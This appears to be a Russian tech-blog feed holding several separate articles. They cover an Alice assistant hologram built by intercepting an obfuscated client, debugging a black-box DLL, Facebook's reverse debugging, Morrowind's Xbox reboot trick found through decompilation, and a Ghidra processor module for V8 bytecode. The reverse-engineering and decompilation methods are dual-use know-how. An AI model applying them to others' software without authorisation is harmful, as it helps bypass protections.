Программная часть состоит из четырех частей: официальный, но уже устаревший desktop-клиент Алисы, Python-сервис для обработки сообщений, приложение на Unity для отображения модели и Arduino Nano для управления светодиодной лентой.

Общий принцип работы визуализации следующий: клиент Алисы передает текст команды от пользователя и ответ на Python-сервис. После обработки данных, сервис отправляет команду на вызов той или иной анимации в приложении на Unity и команды для управления светодиодной лентой на Arduino.

Чтобы перехватить запросы в клиенте Алисы, использовал реверс-инжиниринг. Для этого взял старую версию клиента Алисы. Данная версия работает на JS, но исходники были обработаны обфускатором, поэтому пришлось долго искать места, где можно перехватить команды. После этого вставил вызовы API моего сервиса для передачи данных.

После того, как сервис получил данные из клиента, он их обрабатывает. В зависимости от того, какие данные пришли, отправляет по MQTT сообщения: состояние (например, Алиса начала слушать пользователя), текст ответа на запрос и изображение ответа. Если с состоянием и текстом сообщения все легко и в сервис приходит простой JSON, то с изображением не так просто. Внутри клиента Алисы изображения строятся на основе сложного JSON, который приходит от сервиса Яндекса. Его нужно было бы обрабатывать и создавать изображение самому, а т.к. я ленивый человек, решил отправлять то, что клиент Алисы сам формирует (HTML блок + CSS). Далее сервис вставляет HTML блок в запущенный заранее веб-драйвер Chrome, делает скриншот и отправляет в MQTT JSON сообщение с изображением в Base64, высотой и шириной изображения для сохранения пропорций в Unity. Для включения/выключения светодиодной ленты, сервис отправляет по Serial порту сообщение/команду в Arduino, выбирая какую область (светодиод над моделью и/или заднюю и нижнюю светодиодную ленту) включить с каким RGB цветом и яркостью.

Есть еще одна функция. Клиент Алисы периодически опрашивает сервис на наличие новых команд для неё. Если есть новая команда, то клиент выполняет её таким образом, как это сделал бы пользователь через голос или текст. Например, если дать команду: "Алиса, повтори за мной: Перед уходом, не забудь покормить кота", то эту фразу она и повторит. Таким образом можно оповещать состояние датчиков.

Приложение на Unity принимает сообщения с MQTT для запуска анимации и отображения текста/изображения на специальных панелях. Модель отображают три камеры (каждое изображение попадает на свое стекло), на которых применен эффект "зеркала", чтобы после проецирования на стекло пользователь видел корректное изображение модели и текста.

Визуализация в UnityВизуализация в Unity

Т.к. голос Алисы бы сделан на основе голоса Татьяны Шитовой, которая озвучивает большинство героинь Скарлетт Йоханссон, то для модели Алисы я взял образ персонажа из комиксов Marvel "Черная вдова", что дало визуализации свой "шарм". Саму 3D-модель я взял из открытого доступа, а скелет и его анимацию сделал в Blender, визуальный эффект голограммы был применен на модели в самой Unity.

3D-модель Алисы3D-модель Алисы

Из-за того, что работа по созданию анимации была самой последней частью общей работы, то данному этапу уделил очень мало времени, поэтому набор движений скуден.

Заключение

Огромное спасибо моей жене! Без её помощи, поддержки и терпения я бы забросил эту идею с самого начала.

Еще есть что доделать. Например, можно было добавить камеру, чтобы отслеживать лицо пользователя и "поворачивать" модель к пользователю для усиления эффекта голограммы, прикрутив к сервису OpenCV и отправку в MQTT значений поворота модели, но USB камеры нет.

Из минусов, найденных при эксплуатации:

  1. У меня настроена система "Умный дом", через Home Assistant. На нем работают как свои устройства (на esp8266/Arduino), так и производителей (в основном от Xiaomi). Когда я начал делать этот проект, то была возможность управлять всеми устройствами через Алису. И можно было бы не использовать Яндекс.Станцию мини, но в какой-то момент Алиса в клиенте перестала находить эти устройства, хотя управлять ими через станцию все еще можно. Скорее всего поменяли API, поэтому перестало работать, но есть идеи как это можно исправить

  2. Плохая идея использовать монитор с TFT матрицей

Еще нашел необычное применение для такого устройства: вместо Алисы, отображать время или таймер до какого-то события с включенной подсветкой.

Отсчет до нового годаОтсчет до нового года

Записывая видео работы визуализации Алисы, использовал тестовую анимацию движения. Получился такой эффект, как будто модель Алисы держит свет над собой и идет к пользователю. Мне показалось это забавным и решил оставить так.

Подробнее..

Перевод Как отладить программу, к которой у тебя нет доступа

17.05.2021 12:14:39 | Автор: admin

Фото: Intricate Explorer, Unsplash

Сегодня я вспомнил один из любимых программистских мифов, который вполне может быть городской легендой, и свою собственную версию чёрного ящика, который требовал отладки.

Городская легенда повествует о радиоактивных железнодорожных вагонах из Украины, вызывавших баги в компьютерной системе, прочитать её можно здесь.

Разбираемся с чёрными ящиками и c тем, какими они бывают сегодня


Чёрный ящик это популярная концепция программирования, предполагающая, что мы находимся снаружи системы или компонента, не имея прямого доступа к коду. Это может быть вызвано различными факторами:

  • Вы работаете со сторонним ПО, разработчики которого просто не раскрывают код.
  • Вы взаимодействуете с API, внутренняя логика которого абстрагирована.
  • У вас нет необходимых полномочий для доступа к Git-репозиторию.
  • Даже система с полным доступом может де-факто стать чёрным ящиком из-за своей сложности.
  • Сотрудник, обладавший всеми ключами и знаниями, внезапно уволится/пропал/умер.
  • Легаси-система состоит из .dll, которая всегда работала на сервере, и не была подключена к системе контроля версий. Чтобы просто посмотреть на код, её нужно декомпилировать, если это возможно, конечно.

Все эти факторы сводятся к тому, что у нас есть проблема, которую мы не можем устранить мгновенно, и мы не знаем, в чём заключается ошибка. Поэтому нам нужно браться за работу.

Наша собственная проблема была сочетанием всего вышеперечисленного


Список перечисленных выше факторов, вероятно, не описывает все ситуации, потому что это непосредственный список факторов, повлиявших на нашу ситуацию. У нас был только что уволен разработчик, сложная система, распределённая по нескольким серверам, с основной .dll, которая делала своё дело, хотя никто и не знал, почему и какое именно.

Она вызывала сторонние сервисы, в ней практически отсутствовал логгинг, и единственными резервными копиями, которые у нас имелись, были хранилища в файловой системе с этой .dll
и без какого-либо кода. Как можно понять, ничто из этого невозможно было поддерживать, и систему планировали в своё время переписать, но ошибка была экстренной и требовала устранения.

Можно сказать, что бОльшую часть времени система почти полностью справлялась с работой, и мы могли бы мириться с частичными решениями проблемы, если бы они демонстрировали постоянство. Однако примерно каждое сотое множество данных оказывалось с неверными результатами и единственное, что мы могли делать отлаживать их снаружи (сейчас мы вспоминаем об этом с улыбкой).

Это один из тех случаев, когда я испытал благодарность за хаотический мир, в котором вырос, потому что большинство компаний не столкнётся с настолько серьёзными проблемами, и не назначит решать их недавнего выпускника. Мне в этом смысле повезло, и ещё больше повезло, потому что у меня была поддержка опытных разработчиков, помогавших мне на протяжении всего процесса. Итак, вот каким было наше решение.

Воспроизводим ошибку (в идеале на нескольких тестовых случаях)


Когда вы узнаете, в чём заключается настоящая ошибка, проблема будет почти решена, но дойти до этого может быть невероятно сложно, если ошибка проявляется нерегулярно. Вспомним снова о примере с поездами если бы не удалось выявить паттерн, то причину найти было бы почти невозможно. Потому что именно это мы ищем в такой ситуации паттерн того, когда происходит ошибка.

В нашем случае мы обнаружили его относительно просто: мы знали тип ошибки и она возникала многократно, однако так редко, что нам понадобилось много времен, чтобы сузить пространство поиска случаев и выявить их логику.

После того, как мы выявили множество тестовых случаев, регулярно приводящих к сбоям, можно приступать к самой отладке. Вот пример другого процесса, в котором мы сузили поиски источника проблемы сопоставлением паттернов: одна из систем зависала каждую ночь четверга, при этом в файлах логов не было ничего странного:

  • Мы знали, что наша система не выдавала никаких сообщений об ошибке, однако зависала.
  • Мы сопоставляли случаи, пока не удостоверились, что проблема возникает в четверг и больше ни в какие другие дни.
  • Мы проверили, что на это время не запланировано никаких автоматических обновлений, проверили все автоматизированные задачи, работающие на том же сервере ничего.
  • Мы посмотрели, что делает система на метауровне, и сузили проблему до таймаута общего диска, к которому каждые две недели получала доступ задача очистки диска, запущенная на совершенно другом сервере во время работы нашего сервиса. Никто не подумал о том, что обе они начинались запускаться в три часа ночи.

Создаём тестовое окружение (даже если это продакшен)


Получив набор ошибок, можно приступать к работе над истинной причиной и решением, а для этого нужна тестовая система.

Под этим я подразумеваю, что вам требуются две константы:

  • Используемые данные не должны изменяться другими системами
  • Возможный урон должен быть максимально ограничен

В нашем случае мы не могли воспроизвести ошибки на тестовом сервере, это было очевидно, поскольку по сравнению с сервером в продакшене библиотека .dll находилась в совершенно ином состоянии. Откат к этому старому состоянию не сработал, потому что ломал другие элементы, которые были столь же важны.

Поэтому мы собрались и задались вопросом: что самое худшее может произойти, если мы это испортим?, а потом написали скрипт базы данных, переписывающий все результаты в ошибочное состояние, чтобы последующие системы не обрабатывали их.

Можно было, например, отключать сервера и задачи, устранять из процесса следующий логический этап и тому подобное, но возможность этого зависит от архитектуры конкретной системы.

Сравниваем входящие данные, чтобы найти сходства и различия с работающими множествами данных


Хоть мы и не можем узнать, что же конкретно делает код в случае чёрного ящика, можно было провести своеобразный реверс-инжиниринг, часто дающий хорошее понимание причин проблем.

В нашем случае мы обладали роскошью в виде достаточно качественно отформатированных файлов JSON от предыдущей системы, от которых зависели наши входящие данные. После того, как мы всё подготовили, оставалось в буквальном смысле начать сравнивать пару текстовых файлов в Notepad++, пока не найдём сходства между файлами, вызывающими ошибки, а затем различия между ними и правильно работающими файлами.

Тут нам повезло мы быстро смогли выяснить, что баг вызывает конкретное сочетание флагов заказчика, и нам сразу же удалось их обойти, потому что этот случай можно было имитировать похожими, но другими флагами. Поэтому поскольку мы уже знали, что систему будут переписывать (на самом деле, у нас и не было выбора), было решено обойти этот баг вместо декомпиляции и его устранения.

Изменяем входящие данные, чтобы убедиться, что наша догадка привела к ожидаемым результатам (и ограничивает любой урон)


Очевидно, что менять живые данные в базе данных в продакшене, надеясь, что всё будет работать без реального тестирования плохая идея, но у нас не было другого выбора.

Всё сработало отлично, ведь количество случаев было низким, а первые несколько тестов мы провели ручную и оказалось, что они в точности создают требуемые результаты.

Поэтому в конечном итоге мы просто написали ещё одну автоматизированную задачу, устранявшую эти проблемы до того, как они попадут в систему, а затем приступили к трёхмесячному проекту по переписыванию этой программы с нуля, на этот раз прозрачно, с системой контроля версий и конвейерами сборки.

Вот такое приключение.

Вывод: о системе можно узнать довольно много, даже если просто походить вокруг неё и потыкать в неё палочкой


Меня этот способ отладки и поиска ошибок восхищает, я люблю, когда программирование сочетается с всплеском адреналина.

Если вы не смотрели видео об SQL-инъекции и реверс-инжиниринге базы данных по сообщениям об ошибках, крайне рекомендую его посмотреть. Использованные в этом видео методики почти идентичны с теми, которые можно применять для незлонамеренной отладки.



На правах рекламы


Закажите и сразу работайте! Создание VDS любой конфигурации в течение минуты, в том числе серверов для хранения большого объёма данных до 4000 ГБ. Эпичненько :)

Подписывайтесь на наш чат в Telegram.

Подробнее..

Перевод Обратная отладка в большом масштабе

27.05.2021 14:07:09 | Автор: admin

Отладка неотъемлемая часть профессионального программирования. К старту курса о Fullstack-разработке на Python делимся переводом о том, как отладка устроена в Facebook; в статье вы найдёте ссылку на разработанный FB плагин трассировки для LLDB, который преобразует необработанную трассировку в удобочитаемый формат.

Допустим, вы получаете уведомление по электронной почте о том, что сервис терпит крах сразу после развёртывания вашего последнего изменения кода. Сбой происходит только на 0,1 % серверов, где запущен сервис. Но вы работаете в крупной компании, поэтому 0,1 % равняется тысячам серверов, и эту проблему будет трудно воспроизвести. Несколько часов спустя вы всё ещё не можете воспроизвести проблему, хотя потратили целый день на её решение.


Здесь вступает в действие обратная отладка. Существующие методы позволяют инженерам записывать приостановленную (или потерпевшую крах) программу, затем перематывать её назад и воспроизводить, чтобы найти первопричину. Однако для таких крупных компаний, как Facebook, эти решения требуют слишком больших накладных расходов, чтобы быть практичными в производственной среде.

Для решения этой проблемы мы разработали новую методику, позволяющую инженерам отследить неудачный запуск и просмотреть его историю, чтобы найти первопричину без необходимости повторного запуска программы, что экономит огромное количество времени. Для этого мы эффективно отслеживаем активность CPU на наших серверах и при сбоях сохраняем историю процессов, которая затем отображается в удобочитаемом формате с помощью отладчика LLDB, предлагающего всё от просмотра истории команд до реверс-дебага.

Звучит здорово, но как это работает?

Для разработки мы использовали Intel Processor Trace (Intel PT), который использует специализированное оборудование для ускорения сбора шагов в программе, что позволяет нам использовать его в производстве и в масштабе. Однако эффективная трассировка программы это только первый шаг.

Непрерывный сбор и быстрое хранилище в производственной среде

Поскольку мы не знаем, когда произойдёт сбой и какой именно процесс потерпит крах, нам необходимо постоянно собирать трассировку Intel PT всех запущенных процессов. Чтобы ограничить объём памяти, необходимой для работы, мы храним трассировку в кольцевом буфере, где новые данные перезаписывают старые:

Когда несколько процессов (A и B) выполняются одновременно, данные трассировки хранятся в буфере. В t+8 данные процесса B начинают перезаписывать самые старые данные (данные процесса A) в буфере.Когда несколько процессов (A и B) выполняются одновременно, данные трассировки хранятся в буфере. В t+8 данные процесса B начинают перезаписывать самые старые данные (данные процесса A) в буфере.

На больших серверах, наподобных тем, что применяются для обучения моделей ИИ, Intel PT может генерировать сотни мегабайт данных в секунду даже в сжатом формате. Когда процесс терпит крах, сборщик должен приостановить сбор и скопировать содержимое буфера для потерпевшего крах процесса. Для этого операционная система должна уведомить нашего сборщика о крахе процесса, на что требуется время. Чем больше задержка между крахом и копированием содержимого буфера, тем больше данных будет перезаписано новыми данными из других процессов.

Чтобы решить эту проблему, мы разработали eBPF-зонд ядра программу, запускаемую при определённых событиях ядра, чтобы в течение нескольких миллисекунд уведомить нашего сборщика о том, что произошёл сбой, таким образом максимизируя количество информации в трассировке, относящейся к сбою. Мы попробовали несколько подходов, но ни один из них не был таким быстрым, как этот.

Дополнительно в рахитектуре учтено, что при сбоях компьютер часто остаётся в плохом состоянии, а это не позволяет нам проводить какой-либо анализ собранной трассировки на лету. Поэтому мы решили хранить трассировки и соответствующие двоичные файлы потерпевших крах процессов в наших центрах обработки данных, чтобы их можно было проанализировать позже на другой машине.

Декодирование и символизация

Как преобразовать эти данные в инструкции, которые возможно проанализировать? Необработанные трассировки не поддаются расшифровке инженерами. Людям необходим контекст, такой как информация об исходной строке и имена функций. Чтобы добавить контекст, мы создали компонент в LLDB, способный получать трассировку и восстанавливать инструкции вместе с их символами. Недавно мы начали открытое исходного кода этой работы. Найти компонент вы можете здесь.

Трассировка в первую очередь содержит информацию о том, какие ветки были захвачены, а какие нет. Мы сравниваем эту информацию со всеми инструкциями из исходного двоичного файла и восстанавливаем инструкции, которые были выполнены программой. Позже с помощью стека символизации LLDB мы можем получить соответствующую информацию об исходном коде и показать её инженеру в удобочитаемом виде.Трассировка в первую очередь содержит информацию о том, какие ветки были захвачены, а какие нет. Мы сравниваем эту информацию со всеми инструкциями из исходного двоичного файла и восстанавливаем инструкции, которые были выполнены программой. Позже с помощью стека символизации LLDB мы можем получить соответствующую информацию об исходном коде и показать её инженеру в удобочитаемом виде.

С помощью указанного на рисунке выше потока мы можем преобразовать необработанный файл трассировки в такой:

Символизация инструкций это только первая часть работы LLDB. Следующая часть реконструкция истории вызовов функций. Для этого мы построили алгоритм, который способен пройти по инструкциям и построить дерево вызовов функций, то есть какая функция вызвала другую функцию и когда. Самое интересное в этом то, что трассировка может начинаться в произвольный момент выполнения программы, и не обязательно с самого начала.

Часть дерева вызовов функций, где каждый вертикальный сегмент содержит инструкции, а места вызова отображаются стрелками.Часть дерева вызовов функций, где каждый вертикальный сегмент содержит инструкции, а места вызова отображаются стрелками.

Это дерево может помочь нам быстро ответить на вопрос, например, о том, какова трассировка стека в данный момент истории; вопрос решается простым движением вверх по дереву. С другой стороны, более сложный вопрос где останавливается обратный шаг с обходом?

Представьте, что вы находитесь в строке 16 этого небольшого куска кода. При обратном шаге с обходом вы должны остановиться либо на строке 13, либо на строке 15, в зависимости от того, было ли захвачено if или нет. Наивный подход заключается в том, чтобы проверять инструкции в истории по одной, пока не будет найдена одна из этих строк, но это может быть очень неэффективно, так как функция foo может содержать миллионы инструкций. Вместо этого можно воспользоваться вышеупомянутым деревом, чтобы перемещаться по строкам, не перемещаясь внутри вызовов. В отличие от предыдущего подхода обход дерева почти тривиален.

Кроме того, добавлена поддержка точек останова. Предположим, что вы находитесь в середине сеанса отладки и хотите вернуться назад во времени к последнему вызову function_a. Вот что можно сделать:

Наконец, мы планируем в какой-то момент интегрировать этот поток с VSCode, чтобы получить богатый опыт визуальной обратной отладки.

Анализ и профилирование задержек

Трассировка выполнения содержит больше информации, чем другие представления потока управления, например стеки вызовов. Кроме того, в рамках трассировки мы собираем информацию о времени с высокой точностью; так, инженеры знают не только последовательность выполняемых операций (или функций), но и их временные метки, а это позволяет задействовать новую возможность анализ задержек.

Представьте себе сервис, который обрабатывает различные запросы, получающие данные с использованием внутреннего кеша. При определённых условиях кеш должен быть очищен, и следующий вызов fetch займёт гораздо больше времени.

Сервер получает несколько запросов от инженеров, и вы хотите разобраться с длинным хвостом задержки в вашем сервисе (например, P99). Вы берёте свой профайлер и собираете несколько выборок стеков вызовов для двух основных типов запросов. Они выглядят, как на графике ниже, который не позволяет понять, чем они отличаются, поскольку выборка стека вызовов показывает только агрегированные цифры. Нам нужно преобразовать трассировки в информацию о пути выполнения и на этом пути символизировать инструкции.

На изображении ниже показана трассировка, позволяющая легко понять происходящее: запрос B очищает данные перед их получением.

Тогда как отладчик может помочь вам двигаться в пределах трассировки по шагам, визуализация поможет вам легко увидеть общую картину. Вот почему мы также работаем над добавлением графиков, подобных графику "Трассировка стека вызовов" выше, в наш инструмент анализа производительности Tracery. Мы создаём инструмент, который может производить эту трассировку и временные данные и объединять их с производимой LLDB символизацией. Наша цель предложить разработчикам способ увидеть всю эту информацию сразу, а затем увеличить или уменьшить масштаб и получить необходимые данные на нужном им уровне.

Помните нежелательный сценарий в начале этого поста? Теперь представьте, что вы получаете уведомление по электронной почте о том, что ваш сервис падает на 0,1 % машин, но на этот раз оно приходит с кнопкой "Reverse debug on VSCode". Вы нажимаете на кнопку, а затем перемещаетесь по истории программы, пока не найдёте вызов функции, который не должен был произойти, или ветку if, которая не должна была выполняться, и исправляете её в течение нескольких минут.

Такие технологии позволяют нам решать проблемы на уровне, который мы раньше не считали возможным. Большинство наших работ (если судить по истории) в этой области привели к значительным накладным расходам, что ограничивало наши возможности масштабироваться. Сейчас мы создаём инструменты отладки, которые интерактивно и наглядно помогают разработчикам решать проблемы производства и разработки гораздо более эффективным способом. Это захватывающее начинание, которое поможет нам ещё больше расширить наши масштабы.

Узнайте, как прокачаться и в других специальностях или освоить их с нуля:

Другие профессии и курсы
Подробнее..

Перевод Как и зачем Morrowind перезапускала оригинальный Xbox во время экрана загрузки

22.04.2021 12:11:11 | Автор: admin

Оригинальный Xbox известен тем, что имел всего 64 мегабайта оперативной памяти, чего даже в то время не всегда хватало играм. В недавнем подкасте о слиянии Bethesda и Xbox директор Bethesda Game Studios Тодд Говард рассказал о том, что именно из-за нехватки памяти и для ее освобождения Morrowind иногда перезагружала Xbox незаметно для пользователя. Долгие внутриигровые загрузки это как раз то, о чем идет речь.

Это и натолкнуло на рассуждения о том, как же происходил этот процесс. Ведь тихая перезагрузка игровой консоли все еще подразумевает ребут памяти, видеокарты, центрального процессора, кэша и вообще всей системы.

Однако в оригинальном Xbox практически все работало с разрешениями уровня для ядра, что давало определенную свободу программистам и, вероятно, помогало хранить состояние игры где-то в памяти или на жестком диске. И когда игра перезагружалась, она просто возвращалась в том же виде из последнего сохранения.

Теперь настало время доказать это.

Для этого нам понадобятся три вещи:

  1. Копия игры;

  2. Комплект разработчика Xbox (XDK):

  3. Декомпилятор.

В качестве последнего будем использовать IDA Pro.

В первую очередь установим игру на девкит и запустим ее. Для удобства возьмем файл сохранения из Интернета, чтобы понаблюдать, как он будет загружаться посредством экрана загрузки.

Основная сложность в том, что на самом деле мы не знаем, перезагружалась ли система в это время. Сам Тодд Говард упоминал, что на время перезагрузки на экране оставалась картинка, сохраненная во фреймбуфере. Поэтому совершенно неочевидно, происходит ли что-то за кадром.

Но если использовать Xbox Neighborhood для тихой перезагрузки Xbox, мы увидим, что игра действительно перезагружается и сразу после этого попадает на момент экрана загрузки.

Отсюда вопрос: как все это работает?

Можно припомнить, что раньше существовала конкретная функция в API Xbox, которая могла запускать исполняемый файл Xbox из уже существующего и просто передавать аргументы из старого файла в новый. Если взглянуть на дашборд Xbox, такой как Evolution X, он запускается прямо из исполняемого файла Xbox, но также производит тихую перезагрузку.

Эта часть API Xbox XLaunchNewImage. Согласно документации, она перезагружает консоль для запуска другого файла XBE с DVD-диска.

При вызове XLaunchNewImage игра должна иметь минимальную активность. Не должно ничего происходить в других потоках, никаких асинхронных задач, записи на жесткий диск и т. д.

Вот мы и получили достаточно весомое доказательство того, что Morrowind перезапускается в процессе исполнения, при этом сохраняя свое состояние и загружаясь из сохранения. Теперь выясним, как же это работает.

Запустим игру на девките. В этом случае XLaunchNewImage должна перезапустить консоль. Теперь загрузим сохраненную игру с жесткого диска, но перед этим задействуем инструмент под названием Xbox File Event Viewer. Он будет отслеживать и выводить на экран создание каждого нового файла для чтения или записи.

Установим фильтр на названии morrowind.xbe. Если будет происходить запуск файла с таким именем, скорее всего, в этом вызове будет задействована XLaunchNewImage, которая и производит перезапуск консоли для исполнения другого файла XBE с диска.

Теперь запустим Xbox File Event Viewer и наш файл сохранения. Как мы видим, происходят множественные чтения файла morrowind.xbe. Это не обязательно говорит о перезапуске консоли, но наверняка указывает на то, что происходит активность XLaunchNewImage.

Теперь используем инструмент для реверс-инжиниринга и декомпилируем исполняемый файл morrowind.xbe. Для этого загрузим его в IDA Pro. И для начала поищем в нем непосредственно упоминание morrowind.xbe.

Первое, что мы видим в результатах поиска функцию получения доступа к файлу. Декомпилируем этот кодовый блок.

По-видимому, выделенный путь и исполняет XLaunchNewImage ведь, как мы видим в документации, один из требуемых для этого параметров строка для адреса XPE, а второй данные о запуске. Это вполне себе коррелирует с функцией sub_23AB90. Переименуем ее в XLaunchNewImage.

Но прежде, чем утверждать, что дело раскрыто, взглянем еще раз на код. Стоит обратить внимание на это условие.

Если байт byte_3A3209 имеет значение true, выполняется один кусок кода, в противном случае другой, заканчивающийся исполнением команды XLaunchNewImage.

Теперь поищем перекрестные ссылки для этого байта. Нас интересует переменная, которая отвечает за перезапись.

Перейдем к ней.

Один из двух байтов здесь говорит о том, чтобы если флаг No reboot on new game = 1 в файле Morrowind.ini, тогда этот байт равен true. Что касается второго, искомого байта, он становится true, если выполняется условие No reboot on load game = 1 в Morrowind.ini.

Если открыть Morrowind.ini, мы увидим, что оба значения No reboot on new game и No reboot on load game установлены в нуле, а значит игра будет перезагружаться на Xbox. Но на девкитах для отладки, когда игра разрабатывалась Bethesda, скорее всего, они имели значения единицы, поскольку те использовали 126 МБ вместо 64.

Итак, мы получили подтверждение того, что игра перезагружается на экранах загрузки. Но также мы открыли то, что это происходит не только при загрузке, но и создании новой игры, что тоже весьма любопытно. Взглянем теперь на это условие, когда NoRebootOnNewGame = false.

В этом месте происходит загрузка состояния, в котором игра была перед сохранением и перезапуском:

Мы убедились, что Xbox действительно перезагружается для очистки памяти во время экранов загрузки Morrowind, и вместо того, чтобы возвращаться к главному экрану игры, сразу переходит на экран загрузки и вызывает последнее сохранение. Достигается это с помощью процедуры под названием XLaunchNewImage части API Xbox, которую можно использовать для тихой перезагрузки консоли и запуска исполняемого файла. Но чего Говард не упомянул, так это того, что то же самое происходит при старте новой игры.

Причина такого поведения в том, что проще загрузить игру заново при загрузке сохранения, чем пытаться выгрузить все игровые ассеты в памяти из текущей игры. Это достаточно изящный трюк, который, вероятно, в свое время значительно упростил жизнь команде разработчиков.

Подробнее..

Создаем процессорный модуль под Ghidra на примере байткода v8

23.04.2021 18:05:42 | Автор: admin

В прошлом году наша команда столкнулась с необходимостью анализа байткода V8. Тогда еще не существовало готовых инструментов, позволявших восстановить такой код и обеспечить удобную навигацию по нему. Было принято решение попробовать написать процессорный модуль под фреймворк Ghidra. Благодаря особенностям используемого языка описания инструкций на выходе мы получили не только читаемый набор инструкций, но и C-подобный декомпилятор. Эта статья продолжение серии материалов (1, 2) о нашем плагине для Ghidra.

Между написанием процессорного модуля и статьи прошло несколько месяцев. За это время спецификация SLEIGH не изменилась, и описанный модуль работает на версиях 9.1.29.2.2, которые были выпущены за последние полгода.

Сейчас на ghidra.re и в приложенной к Ghidra документации есть достаточно хорошее описание возможностей языка эти материалы стоит почитать перед написанием своих модулей. Отличными примерами могут быть уже готовые процессорные модули разработчиков фреймворка, особенно если вы знаете описываемую в них архитектуру.

В документации можно прочесть, что процессорные модули для Ghidra пишутся на языке SLEIGH, который произошел от языка SLED (Specification Language for Encoding and Decoding) и разрабатывался целенаправленно под Ghidra. Он транслирует машинный код в p-code (промежуточный язык, используемый Ghidra для построения декомпилированного кода). Как у языка, предназначенного для описания инструкций процессора, у него достаточно много ограничений, которые, однако, можно купировать за счет механизма внедрения p-code в java-коде.

Исходный код созданного процессорного модуля представлен на github. В этой статье будут рассматриваться принципы и ключевые понятия, которые использовались при разработке процессорного модуля на чистом SLEIGH на примере некоторых инструкций. Работа с пулом констант, инъекции p-code, анализатор и загрузчик будут или были рассмотрены в других статьях. Также про анализаторы и загрузчики можно почитать в книге The Ghidra Book: The Definitive Guide.

С чего начать

Для работы понадобится установленная среда разработки Eclipse, в которую нужно добавить плагины, поставляемые с Ghidra: GhidraDev и GhidraSleighEditor. Далее создается Ghidra Module Project с именем v8_bytecode. Созданный проект содержит шаблоны важных для процессорного модуля файлов, которые мы будем модифицировать под свои нужды.

Чтобы получить общее представление о файлах, с которыми предстоит работать, обратимся к официальной документации либо вышедшей недавно книге Криса Игла и Кары Нанс The Ghidra Book: The Definitive Guide. Вот описание этих файлов.

  • *.сspec спецификация компилятора.

  • *.ldefs определение языка. Содержит отображаемые в интерфейсе параметры процессорного модуля. Также содержит ссылки на файлы *.sla, спецификацию процессора и спецификации компилятора.

  • *.pspec спецификация процессора.

  • *.opinion конфигурации для загрузчика; поскольку мы будем описывать только один вид файлов, файл opinion можно оставить пустым: он не пригодится.

  • *.slaspec, *.sinc файлы, описывающие регистры и инструкции процессора на языке SLEIGH.

Также после первого запуска вашего проекта появится файл с расширением .sla, он генерируется на основании slaspec-файла.

Перед тем как приступить к разработке процессорного модуля, необходимо разобраться с тем, какие есть регистры, как происходит работа с ними, со стеком и т.п. для описываемого процессора или интерпретатора.

О регистрах V8

Jsc-файл, который нас интересовал, был собран c использованием среды выполнения JavaScript Node.Js 8.16.0 через bytenode (этот модуль либо будет в поставке Node.Js, либо нужно будет доставить его через npm). По сути, bytenode использует документированный функционал Node.js для создания скомпилированного файла. Вот исходный код функции, компилирующей jsc файлы из js:

Node.js можно скачать как в собранном виде, так и в виде исходников. При детальном изучении исходных файлов и примеров инструкций становится ясно, как кодируются регистры в байткоде (для понимания расчета индекса будут полезны файлы bytecode-register.cc, bytecode-register.h). Примеры инструкций v8 с расчетами индексов регистров в соответствии с Node.js:

Если вам показалось, что регистры aX кодируются разными байтами в зависимости от количества аргументов функции, то вы все поняли правильно. Более наглядная схема ниже.

Тут Х количество аргументов текущей функции без учета передаваемого <this>, aX регистры, содержащие аргументы функции, а rN регистры, используемые как локальные переменные. Регистры могут кодироваться 1-байтовыми значениями для обычных инструкций, 2-байтовыми для инструкций с пометкой Wide- и 4-байтовыми для инструкций с пометкой ExtraWide-. Пример кодировки Wide-инструкции с пояснениями:

Более подробно о Node.js и v8 можно почитать в статье Сергея Федонина.

Стоит заметить, что SLEIGH не совсем подходит для описания подобных интерпретируемых байткодов, поэтому у написанного процессорного модуля есть некоторые ограничения. Например, определена работа не более чем с 124регистрами rN и 125регистрами aX. Была попытка решить эту проблему через стековую модель взаимодействия с регистрами, так как она больше соответствовала концепции. Однако в этом случае дизассемблированный байткод тяжелее читался:

Также без введения дополнительных псевдоинструкций, регистров или областей памяти не представляется возможным высчитывать название регистра аргумента в соответствии с Node.js из-за отсутствия информации о количестве аргументов. В связи с этим нами было принято решение проставлять номера в названии регистров аргументов функций (X в aX) в обратном порядке. Это не мешает разбору кода, что было для нас важным критерием, однако может смущать при сравнении результатов вывода инструкций файла в разных инструментах.

После изучения того, что нужно описывать, можно приступить к формированию необходимых файлов для процессорного модуля.

CSPEC

Немного текстовой информации о тегах, используемых в cspec-файлах, можно найти в исходниках фреймворка на github. В описании назначения файла говорится:

Спецификация компилятора является необходимой частью модуля языка Ghidra для поддержки разборки и анализа конкретного процессора. Его цель закодировать информацию о целевом двоичном файле, специфичном для компилятора, сгенерировавшего этот двоичный файл. В Ghidra спецификация SLEIGH позволяет декодировать машинные инструкции для конкретного процессора, например Intelx86, но эти инструкции могут продуцировать более одного компилятора. Для конкретного целевого двоичного файла понимание деталей о конкретном компиляторе, используемом для его сборки, важно для процесса разбора кода. Спецификация компилятора удовлетворяет эту потребность, позволяя формально описывать такие концепции, как соглашения о передаче параметров и механизмы стека.

Также становится понятно, что теги используются для следующих целей:

  • Compiler Specific P-code Interpretation;

  • Compiler Datatype Organization (у нас использовался <data_organization>);

  • Compiler Scoping and Memory Access (у нас использовался <global>);

  • Compiler Special Purpose Registers (у нас использовался <stackpointer>);

  • Parameter Passing (у нас использовался <default_proto>).

Изучая структуру шаблона, описанные теги в документации и примеры подобных файлов, можно попробовать сформировать файл под свои нужды.

Теги <data_organization> и <stackpointer> достаточно типовые; разберем тег <prototype> в <default_proto>, частично описывающий соглашение о вызове функций. Для него определим: <input>, <output>, <unaffected>.

Как говорилось выше, аргументы в функцию передаются через регистры aX. В модуле регистры должны быть определены как непрерывная последовательность байтов по смещению в некотором пространстве. Как правило, в таких случаях используется специально придуманное для этого пространство register. Однако теоретически не запрещено использовать любое другое. В случае наличия большого количества регистров, выполняющих примерно одни функции, проще всего не прописывать каждый отдельно, а просто указать смещение в пространстве регистров, по которому они будут определены. Поэтому в спецификации компилятора помечаем область памяти в пространстве регистров (space="register") в теге <input> для регистров, через которые происходит передача аргументов в функции, по смещению 0x14000 (0x14000 не несет в себе сакрального смысла, это просто смещение, по которому в *.slaspec далее будут определены регистры aX).

По умолчанию результат вызова функций сохраняется в аккумулятор (acc), что нужно прописать в теге <output>. Для альтернативных вариантов регистров, в которые происходит сохранение возвращаемых функциями значений, можно определить логику при описании инструкций. Отметим в теге <unaffected>, что вызовы функций на регистр, хранящий указатель на стек, не влияют.

Для работы с частью регистров наиболее удобным будет вариант определения их как изменяемых глобально, поэтому в теге <global> определяем диапазон регистров в пространстве register по смещению 0x2000.

